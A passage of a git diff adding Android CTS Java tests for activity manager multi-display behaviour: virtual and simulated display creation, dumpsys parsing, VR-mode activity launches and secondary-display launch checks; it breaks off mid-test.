+ * @see ActivityManagerDisplayTests
+ * @see ActivityManagerDisplayLockedKeyguardTests
+ */
+public class ActivityManagerDisplayTestBase extends ActivityManagerTestBase {
+
+    static final int CUSTOM_DENSITY_DPI = 222;
+
+    private static final String DUMPSYS_ACTIVITY_PROCESSES = "dumpsys activity processes";
+    private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
+    private static final int INVALID_DENSITY_DPI = -1;
+
+    private boolean mVirtualDisplayCreated;
+    private boolean mDisplaySimulated;
+
+    /** Temp storage used for parsing. */
+    final LinkedList<String> mDumpLines = new LinkedList<>();
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        destroyVirtualDisplays();
+        destroySimulatedDisplays();
+        super.tearDown();
+    }
+
+    /** Contains the configurations applied to attached displays. */
+    static final class DisplayState {
+        int mDisplayId;
+        String mOverrideConfig;
+
+        private DisplayState(int displayId, String overrideConfig) {
+            mDisplayId = displayId;
+            mOverrideConfig = overrideConfig;
+        }
+
+        private int getWidth() {
+            final String[] configParts = mOverrideConfig.split(" ");
+            for (String part : configParts) {
+                if (part.endsWith("dp") && part.startsWith("w")) {
+                    final String widthString = part.substring(1, part.length() - 3);
+                    return Integer.parseInt(widthString);
+                }
+            }
+
+            return -1;
+        }
+
+        private int getHeight() {
+            final String[] configParts = mOverrideConfig.split(" ");
+            for (String part : configParts) {
+                if (part.endsWith("dp") && part.startsWith("h")) {
+                    final String heightString = part.substring(1, part.length() - 3);
+                    return Integer.parseInt(heightString);
+                }
+            }
+
+            return -1;
+        }
+
+        int getDpi() {
+            final String[] configParts = mOverrideConfig.split(" ");
+            for (String part : configParts) {
+                if (part.endsWith("dpi")) {
+                    final String densityDpiString = part.substring(0, part.length() - 3);
+                    return Integer.parseInt(densityDpiString);
+                }
+            }
+
+            return -1;
+        }
+    }
+
+    /** Contains the configurations applied to attached displays. */
+    static final class ReportedDisplays {
+        private static final Pattern sGlobalConfigurationPattern =
+                Pattern.compile("mGlobalConfiguration: (\\{.*\\})");
+        private static final Pattern sDisplayOverrideConfigurationsPattern =
+                Pattern.compile("Display override configurations:");
+        private static final Pattern sDisplayConfigPattern =
+                Pattern.compile("(\\d+): (\\{.*\\})");
+
+        String mGlobalConfig;
+        private Map<Integer, DisplayState> mDisplayStates = new HashMap<>();
+
+        static ReportedDisplays create(LinkedList<String> dump) {
+            final ReportedDisplays result = new ReportedDisplays();
+
+            while (!dump.isEmpty()) {
+                final String line = dump.pop().trim();
+
+                Matcher matcher = sDisplayOverrideConfigurationsPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    while (ReportedDisplays.shouldContinueExtracting(dump, sDisplayConfigPattern)) {
+                        final String displayOverrideConfigLine = dump.pop().trim();
+                        log(displayOverrideConfigLine);
+                        matcher = sDisplayConfigPattern.matcher(displayOverrideConfigLine);
+                        matcher.matches();
+                        final Integer displayId = Integer.valueOf(matcher.group(1));
+                        result.mDisplayStates.put(displayId,
+                                new DisplayState(displayId, matcher.group(2)));
+                    }
+                    continue;
+                }
+
+                matcher = sGlobalConfigurationPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    result.mGlobalConfig = matcher.group(1);
+                }
+            }
+
+            return result;
+        }
+
+        /** Check if next line in dump matches the pattern and we should continue extracting. */
+        static boolean shouldContinueExtracting(LinkedList<String> dump, Pattern matchingPattern) {
+            if (dump.isEmpty()) {
+                return false;
+            }
+
+            final String line = dump.peek().trim();
+            return matchingPattern.matcher(line).matches();
+        }
+
+        DisplayState getDisplayState(int displayId) {
+            return mDisplayStates.get(displayId);
+        }
+
+        int getNumberOfDisplays() {
+            return mDisplayStates.size();
+        }
+
+        /** Return the display state with width, height, dpi */
+        DisplayState getDisplayState(int width, int height, int dpi) {
+            for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
+                final DisplayState ds = entry.getValue();
+                if (ds.mDisplayId != DEFAULT_DISPLAY_ID && ds.getDpi() == dpi
+                        && ds.getWidth() == width && ds.getHeight() == height) {
+                    return ds;
+                }
+            }
+            return null;
+        }
+
+        /** Check if reported state is valid. */
+        boolean isValidState(int expectedDisplayCount) {
+            if (mDisplayStates.size() != expectedDisplayCount) {
+                return false;
+            }
+
+            for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
+                final DisplayState ds = entry.getValue();
+                if (ds.mDisplayId != DEFAULT_DISPLAY_ID && ds.getDpi() == -1) {
+                    return false;
+                }
+            }
+            return true;
+        }
+    }
+
+    ReportedDisplays getDisplaysStates() {
+        String dump = executeShellCommand(DUMPSYS_ACTIVITY_PROCESSES);
+        mDumpLines.clear();
+
+        Collections.addAll(mDumpLines, dump.split("\\n"));
+
+        return ReportedDisplays.create(mDumpLines);
+    }
+
+    /** Find the display that was not originally reported in oldDisplays and added in newDisplays */
+    protected List<ActivityManagerDisplayTests.DisplayState> findNewDisplayStates(
+            ReportedDisplays oldDisplays, ReportedDisplays newDisplays) {
+        final ArrayList<DisplayState> displays = new ArrayList();
+
+        for (Integer displayId : newDisplays.mDisplayStates.keySet()) {
+            if (!oldDisplays.mDisplayStates.containsKey(displayId)) {
+                displays.add(newDisplays.getDisplayState(displayId));
+            }
+        }
+
+        return displays;
+    }
+
+    /**
+     * Create new virtual display.
+     * @param densityDpi provide custom density for the display.
+     * @param launchInSplitScreen start {@link VirtualDisplayActivity} to side from
+     *                            {@link LaunchingActivity} on primary display.
+     * @param canShowWithInsecureKeyguard allow showing content when device is showing an insecure
+     *                                    keyguard.
+     * @param mustBeCreated should assert if the display was or wasn't created.
+     * @param publicDisplay make display public.
+     * @param resizeDisplay should resize display when surface size changes.
+     * @param launchActivity should launch test activity immediately after display creation.
+     * @return {@link ActivityManagerDisplayTests.DisplayState} of newly created display.
+     * @throws Exception
+     */
+    private List<ActivityManagerDisplayTests.DisplayState> createVirtualDisplays(int densityDpi,
+            boolean launchInSplitScreen, boolean canShowWithInsecureKeyguard, boolean mustBeCreated,
+            boolean publicDisplay, boolean resizeDisplay, String launchActivity, int displayCount)
+            throws Exception {
+        // Start an activity that is able to create virtual displays.
+        if (launchInSplitScreen) {
+            getLaunchActivityBuilder().setToSide(true)
+                    .setTargetActivityName(VIRTUAL_DISPLAY_ACTIVITY).execute();
+        } else {
+            launchActivity(VIRTUAL_DISPLAY_ACTIVITY);
+        }
+        mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder(VIRTUAL_DISPLAY_ACTIVITY).build());
+        final ActivityManagerDisplayTests.ReportedDisplays originalDS = getDisplaysStates();
+
+        // Create virtual display with custom density dpi.
+        executeShellCommand(getCreateVirtualDisplayCommand(densityDpi, canShowWithInsecureKeyguard,
+                publicDisplay, resizeDisplay, launchActivity, displayCount));
+        mVirtualDisplayCreated = true;
+
+        return assertAndGetNewDisplays(mustBeCreated ? displayCount : -1, originalDS);
+    }
+
+    /**
+     * Simulate new display.
+     * @param densityDpi provide custom density for the display.
+     * @return {@link ActivityManagerDisplayTests.DisplayState} of newly created display.
+     */
+    private List<ActivityManagerDisplayTests.DisplayState> simulateDisplay(int densityDpi)
+            throws Exception {
+        final ActivityManagerDisplayTests.ReportedDisplays originalDs = getDisplaysStates();
+
+        // Create virtual display with custom density dpi.
+        executeShellCommand(getSimulateDisplayCommand(densityDpi));
+        mDisplaySimulated = true;
+
+        return assertAndGetNewDisplays(1, originalDs);
+    }
+
+    /**
+     * Wait for desired number of displays to be created and get their properties.
+     * @param newDisplayCount expected display count, -1 if display should not be created.
+     * @param originalDS display states before creation of new display(s).
+     */
+    private List<ActivityManagerDisplayTests.DisplayState> assertAndGetNewDisplays(
+            int newDisplayCount, ActivityManagerDisplayTests.ReportedDisplays originalDS)
+            throws Exception {
+        final int originalDisplayCount = originalDS.mDisplayStates.size();
+
+        // Wait for the display(s) to be created and get configurations.
+        final ActivityManagerDisplayTests.ReportedDisplays ds =
+                getDisplayStateAfterChange(originalDisplayCount + newDisplayCount);
+        if (newDisplayCount != -1) {
+            assertEquals("New virtual display(s) must be created",
+                    originalDisplayCount + newDisplayCount, ds.mDisplayStates.size());
+        } else {
+            assertEquals("New virtual display must not be created",
+                    originalDisplayCount, ds.mDisplayStates.size());
+            return null;
+        }
+
+        // Find the newly added display(s).
+        final List<ActivityManagerDisplayTests.DisplayState> newDisplays
+                = findNewDisplayStates(originalDS, ds);
+        assertTrue("New virtual display must be created", newDisplayCount == newDisplays.size());
+
+        return newDisplays;
+    }
+
+    /**
+     * Destroy existing virtual display.
+     */
+    void destroyVirtualDisplays() throws Exception {
+        if (mVirtualDisplayCreated) {
+            executeShellCommand(getDestroyVirtualDisplayCommand());
+            mVirtualDisplayCreated = false;
+        }
+    }
+
+    /**
+     * Destroy existing simulated display.
+     */
+    private void destroySimulatedDisplays() throws Exception {
+        if (mDisplaySimulated) {
+            executeShellCommand(getDestroySimulatedDisplayCommand());
+            mDisplaySimulated = false;
+        }
+    }
+
+    static class VirtualDisplayBuilder {
+        private final ActivityManagerDisplayTestBase mTests;
+
+        private int mDensityDpi = CUSTOM_DENSITY_DPI;
+        private boolean mLaunchInSplitScreen = false;
+        private boolean mCanShowWithInsecureKeyguard = false;
+        private boolean mPublicDisplay = false;
+        private boolean mResizeDisplay = true;
+        private String mLaunchActivity = null;
+        private boolean mSimulateDisplay = false;
+        private boolean mMustBeCreated = true;
+
+        public VirtualDisplayBuilder(ActivityManagerDisplayTestBase tests) {
+            mTests = tests;
+        }
+
+        public VirtualDisplayBuilder setDensityDpi(int densityDpi) {
+            mDensityDpi = densityDpi;
+            return this;
+        }
+
+        public VirtualDisplayBuilder setLaunchInSplitScreen(boolean launchInSplitScreen) {
+            mLaunchInSplitScreen = launchInSplitScreen;
+            return this;
+        }
+
+        public VirtualDisplayBuilder setCanShowWithInsecureKeyguard(
+                boolean canShowWithInsecureKeyguard) {
+            mCanShowWithInsecureKeyguard = canShowWithInsecureKeyguard;
+            return this;
+        }
+
+        public VirtualDisplayBuilder setPublicDisplay(boolean publicDisplay) {
+            mPublicDisplay = publicDisplay;
+            return this;
+        }
+
+        public VirtualDisplayBuilder setResizeDisplay(boolean resizeDisplay) {
+            mResizeDisplay = resizeDisplay;
+            return this;
+        }
+
+        public VirtualDisplayBuilder setLaunchActivity(String launchActivity) {
+            mLaunchActivity = launchActivity;
+            return this;
+        }
+
+        public VirtualDisplayBuilder setSimulateDisplay(boolean simulateDisplay) {
+            mSimulateDisplay = simulateDisplay;
+            return this;
+        }
+
+        public VirtualDisplayBuilder setMustBeCreated(boolean mustBeCreated) {
+            mMustBeCreated = mustBeCreated;
+            return this;
+        }
+
+        public DisplayState build() throws Exception {
+            final List<DisplayState> displays = build(1);
+            return displays != null && !displays.isEmpty() ? displays.get(0) : null;
+        }
+
+        public List<DisplayState> build(int count) throws Exception {
+            if (mSimulateDisplay) {
+                return mTests.simulateDisplay(mDensityDpi);
+            }
+
+            return mTests.createVirtualDisplays(mDensityDpi, mLaunchInSplitScreen,
+                    mCanShowWithInsecureKeyguard, mMustBeCreated, mPublicDisplay, mResizeDisplay,
+                    mLaunchActivity, count);
+        }
+    }
+
+    private static String getCreateVirtualDisplayCommand(int densityDpi,
+            boolean canShowWithInsecureKeyguard, boolean publicDisplay, boolean resizeDisplay,
+            String launchActivity, int displayCount) {
+        final StringBuilder commandBuilder
+                = new StringBuilder(getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY));
+        commandBuilder.append(" -f 0x20000000");
+        commandBuilder.append(" --es command create_display");
+        if (densityDpi != INVALID_DENSITY_DPI) {
+            commandBuilder.append(" --ei density_dpi ").append(densityDpi);
+        }
+        commandBuilder.append(" --ei count ").append(displayCount);
+        commandBuilder.append(" --ez can_show_with_insecure_keyguard ")
+                .append(canShowWithInsecureKeyguard);
+        commandBuilder.append(" --ez public_display ").append(publicDisplay);
+        commandBuilder.append(" --ez resize_display ").append(resizeDisplay);
+        if (launchActivity != null) {
+            commandBuilder.append(" --es launch_target_activity ").append(launchActivity);
+        }
+        return commandBuilder.toString();
+    }
+
+    private static String getDestroyVirtualDisplayCommand() {
+        return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
+                " --es command destroy_display";
+    }
+
+    private static String getSimulateDisplayCommand(int densityDpi) {
+        return "settings put global overlay_display_devices 1024x768/" + densityDpi;
+    }
+
+    private static String getDestroySimulatedDisplayCommand() {
+        return "settings delete global overlay_display_devices";
+    }
+
+    /** Wait for provided number of displays and report their configurations. */
+    ReportedDisplays getDisplayStateAfterChange(int expectedDisplayCount) {
+        ReportedDisplays ds = getDisplaysStates();
+
+        int retriesLeft = 5;
+        while (!ds.isValidState(expectedDisplayCount) && retriesLeft-- > 0) {
+            log("***Waiting for the correct number of displays...");
+            try {
+                Thread.sleep(1000);
+            } catch (InterruptedException e) {
+                log(e.toString());
+            }
+            ds = getDisplaysStates();
+        }
+
+        return ds;
+    }
+
+    /** Checks if the device supports multi-display. */
+    boolean supportsMultiDisplay() {
+        return hasDeviceFeature(FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
new file mode 100644
index 0000000..97c4863
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
@@ -0,0 +1,2090 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.server.am.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.ActivityManagerState.STATE_STOPPED;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.Presubmit;
+import android.server.am.displayservice.DisplayHelper;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerDisplayTests
+ */
+public class ActivityManagerDisplayTests extends ActivityManagerDisplayTestBase {
+    private static final String WM_SIZE = "wm size";
+    private static final String WM_DENSITY = "wm density";
+
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
+    private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
+    private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
+    private static final String SECOND_ACTIVITY_NAME = "SecondActivity";
+    private static final String SECOND_ACTIVITY_NO_EMBEDDING_NAME = "SecondActivityNoEmbedding";
+    private static final String THIRD_ACTIVITY_NAME = "ThirdActivity";
+    private static final String VR_TEST_ACTIVITY_NAME = "VrTestActivity";
+    private static final String SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME = "ShowWhenLockedAttrActivity";
+    private static final String SECOND_PACKAGE_NAME = "android.server.am.second";
+    private static final String THIRD_PACKAGE_NAME = "android.server.am.third";
+    private static final int VR_VIRTUAL_DISPLAY_WIDTH = 70;
+    private static final int VR_VIRTUAL_DISPLAY_HEIGHT = 90;
+    private static final int VR_VIRTUAL_DISPLAY_DPI = 320;
+
+    private DisplayHelper mExternalDisplayHelper;
+
+    /** Physical display metrics and overrides in the beginning of the test. */
+    private ReportedDisplayMetrics mInitialDisplayMetrics;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mInitialDisplayMetrics = getDisplayMetrics();
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        enablePersistentVrMode(false);
+        restoreDisplayMetricsOverrides();
+        if (mExternalDisplayHelper != null) {
+            mExternalDisplayHelper.releaseDisplay();
+            mExternalDisplayHelper = null;
+        }
+        setPrimaryDisplayState(true);
+        super.tearDown();
+    }
+
+    private void enablePersistentVrMode(boolean enabled) throws Exception {
+        if (enabled) {
+            executeShellCommand("setprop vr_virtualdisplay true");
+            executeShellCommand("vr set-persistent-vr-mode-enabled true");
+        } else {
+            executeShellCommand("vr set-persistent-vr-mode-enabled false");
+            executeShellCommand("setprop vr_virtualdisplay false");
+        }
+    }
+
+    private void restoreDisplayMetricsOverrides() throws Exception {
+        if (mInitialDisplayMetrics.sizeOverrideSet) {
+            executeShellCommand(WM_SIZE + " " + mInitialDisplayMetrics.overrideWidth + "x"
+                    + mInitialDisplayMetrics.overrideHeight);
+        } else {
+            executeShellCommand("wm size reset");
+        }
+        if (mInitialDisplayMetrics.densityOverrideSet) {
+            executeShellCommand(WM_DENSITY + " " + mInitialDisplayMetrics.overrideDensity);
+        } else {
+            executeShellCommand("wm density reset");
+        }
+    }
+
+    /**
+     * Tests that the global configuration is equal to the default display's override configuration.
+     */
+    @Test
+    public void testDefaultDisplayOverrideConfiguration() throws Exception {
+        final ReportedDisplays reportedDisplays = getDisplaysStates();
+        assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
+        final DisplayState primaryDisplay = reportedDisplays.getDisplayState(DEFAULT_DISPLAY_ID);
+        assertEquals("Primary display's configuration should not be equal to global configuration.",
+                reportedDisplays.mGlobalConfig, primaryDisplay.mOverrideConfig);
+    }
+
+    /**
+     * Tests that secondary display has override configuration set.
+     */
+    @Test
+    public void testCreateVirtualDisplayWithCustomConfig() throws Exception {
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Find the density of created display.
+        final int newDensityDpi = newDisplay.getDpi();
+        assertEquals(CUSTOM_DENSITY_DPI, newDensityDpi);
+    }
+
+    /**
+     * Tests that launch on secondary display is not permitted if device has the feature disabled.
+     * Activities requested to be launched on a secondary display in this case should land on the
+     * default display.
+     */
+    @Test
+    public void testMultiDisplayDisabled() throws Exception {
+        if (supportsMultiDisplay()) {
+            // Only check devices with the feature disabled.
+            return;
+        }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+
+        // Check that activity is on the right display.
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed",
+                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+        assertEquals("Front stack must be on the default display", DEFAULT_DISPLAY_ID,
+                frontStack.mDisplayId);
+        mAmWmState.assertFocusedStack("Focus must be on the default display", frontStackId);
+    }
+
+    /**
+     * Tests that any new activity launch in Vr mode is in Vr display.
+     */
+    @Test
+    public void testVrActivityLaunch() throws Exception {
+        if (!supportsVrMode() || !supportsMultiDisplay()) {
+            // VR Mode is not supported on this device, bail from this test.
+            return;
+        }
+
+        // Put the device in persistent vr mode.
+        enablePersistentVrMode(true);
+
+        // Launch the VR activity.
+        launchActivity(VR_TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(VR_TEST_ACTIVITY_NAME).build());
+        mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
+
+        // Launch the non-VR 2D activity and check where it ends up.
+        launchActivity(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+        // Ensure that the subsequent activity is visible
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+
+        // Check that activity is launched in focused stack on primary display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
+        final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        final ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(focusedStackId);
+        assertEquals("Launched activity must be resumed in focused stack",
+            getActivityComponentName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+
+        // Check if the launch activity is in Vr virtual display id.
+        final ReportedDisplays reportedDisplays = getDisplaysStates();
+        assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
+        final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_VIRTUAL_DISPLAY_WIDTH,
+            VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
+        assertNotNull("Vr mode should have a virtual display", vrDisplay);
+
+        // Check if the focused activity is on this virtual stack.
+        assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
+            focusedStack.mDisplayId);
+
+        // Put the device out of persistent vr mode.
+        enablePersistentVrMode(false);
+    }
+
+    /**
+     * Tests that any activity already present is re-launched in Vr display in vr mode.
+     */
+    @Test
+    public void testVrActivityReLaunch() throws Exception {
+        if (!supportsVrMode() || !supportsMultiDisplay()) {
+            // VR Mode is not supported on this device, bail from this test.
+            return;
+        }
+
+        // Launch a 2D activity.
+        launchActivity(LAUNCHING_ACTIVITY);
+
+        // Put the device in persistent vr mode.
+        enablePersistentVrMode(true);
+
+        // Launch the VR activity.
+        launchActivity(VR_TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(VR_TEST_ACTIVITY_NAME).build());
+        mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
+
+        // Re-launch the non-VR 2D activity and check where it ends up.
+        launchActivity(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+        // Ensure that the subsequent activity is visible
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+
+        // Check that activity is launched in focused stack on primary display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
+        final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        final ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(focusedStackId);
+        assertEquals("Launched activity must be resumed in focused stack",
+            getActivityComponentName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+
+        // Check if the launch activity is in Vr virtual display id.
+        final ReportedDisplays reportedDisplays = getDisplaysStates();
+        assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
+        final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_VIRTUAL_DISPLAY_WIDTH,
+            VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
+        assertNotNull("Vr mode should have a virtual display", vrDisplay);
+
+        // Check if the focused activity is on this virtual stack.
+        assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
+            focusedStack.mDisplayId);
+
+        // Put the device out of persistent vr mode.
+        enablePersistentVrMode(false);
+    }
+
+    /**
+     * Tests that any new activity launch post Vr mode is in the main display.
+     */
+    @Test
+    public void testActivityLaunchPostVr() throws Exception {
+        if (!supportsVrMode() || !supportsMultiDisplay()) {
+            // VR Mode is not supported on this device, bail from this test.
+            return;
+        }
+
+        // Put the device in persistent vr mode.
+        enablePersistentVrMode(true);
+
+        // Launch the VR activity.
+        launchActivity(VR_TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(VR_TEST_ACTIVITY_NAME).build());
+        mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
+
+        // Launch the non-VR 2D activity and check where it ends up.
+        launchActivity(ALT_LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(ALT_LAUNCHING_ACTIVITY).build());
+
+        // Ensure that the subsequent activity is visible
+        mAmWmState.assertVisibility(ALT_LAUNCHING_ACTIVITY, true /* visible */);
+
+        // Check that activity is launched in focused stack on primary display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", ALT_LAUNCHING_ACTIVITY);
+        final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        final ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(focusedStackId);
+        assertEquals("Launched activity must be resumed in focused stack",
+            getActivityComponentName(ALT_LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+
+        // Check if the launch activity is in Vr virtual display id.
+        final ReportedDisplays reportedDisplays = getDisplaysStates();
+        assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
+        final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_VIRTUAL_DISPLAY_WIDTH,
+            VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
+        assertNotNull("Vr mode should have a virtual display", vrDisplay);
+
+        // Check if the focused activity is on this virtual stack.
+        assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
+            focusedStack.mDisplayId);
+
+        // Put the device out of persistent vr mode.
+        enablePersistentVrMode(false);
+
+        // There isn't a direct launch of activity which can take an user out of persistent VR mode.
+        // This sleep is to account for that delay and let device settle once it comes out of VR
+        // mode.
+        try {
+            Thread.sleep(2000);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        // Launch the non-VR 2D activity and check where it ends up.
+        launchActivity(RESIZEABLE_ACTIVITY_NAME);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(RESIZEABLE_ACTIVITY_NAME).build());
+
+        // Ensure that the subsequent activity is visible
+        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+
+        // Check that activity is launched in focused stack on primary display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", RESIZEABLE_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+                getActivityComponentName(RESIZEABLE_ACTIVITY_NAME), frontStack.mResumedActivity);
+        assertEquals("Front stack must be on primary display",
+                DEFAULT_DISPLAY_ID, frontStack.mDisplayId);
+    }
+
+    @Test
+    public void testCreateMultipleVirtualDisplays() throws Exception {
+        // Create new virtual display.
+        final List<DisplayState> newDisplays = new VirtualDisplayBuilder(this).build(3);
+        destroyVirtualDisplays();
+        getDisplayStateAfterChange(1);
+    }
+
+    /**
+     * Tests launching an activity on virtual display.
+     */
+    @Presubmit
+    @Test
+    public void testLaunchActivityOnSecondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        final String logSeparator = clearLogcat();
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                TEST_ACTIVITY_NAME);
+
+        // Check that activity is on the right display.
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the secondary display and resumed",
+                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        // Check that activity config corresponds to display config.
+        final ReportedSizes reportedSizes = getLastReportedSizesForActivity(TEST_ACTIVITY_NAME,
+                logSeparator);
+        assertEquals("Activity launched on secondary display must have proper configuration",
+                CUSTOM_DENSITY_DPI, reportedSizes.densityDpi);
+    }
+
+    /**
+     * Tests launching a non-resizeable activity on virtual display. It should land on the
+     * default display.
+     */
+    @Test
+    public void testLaunchNonResizeableActivityOnSecondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY_NAME).build());
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                NON_RESIZEABLE_ACTIVITY_NAME);
+
+        // Check that activity is on the right display.
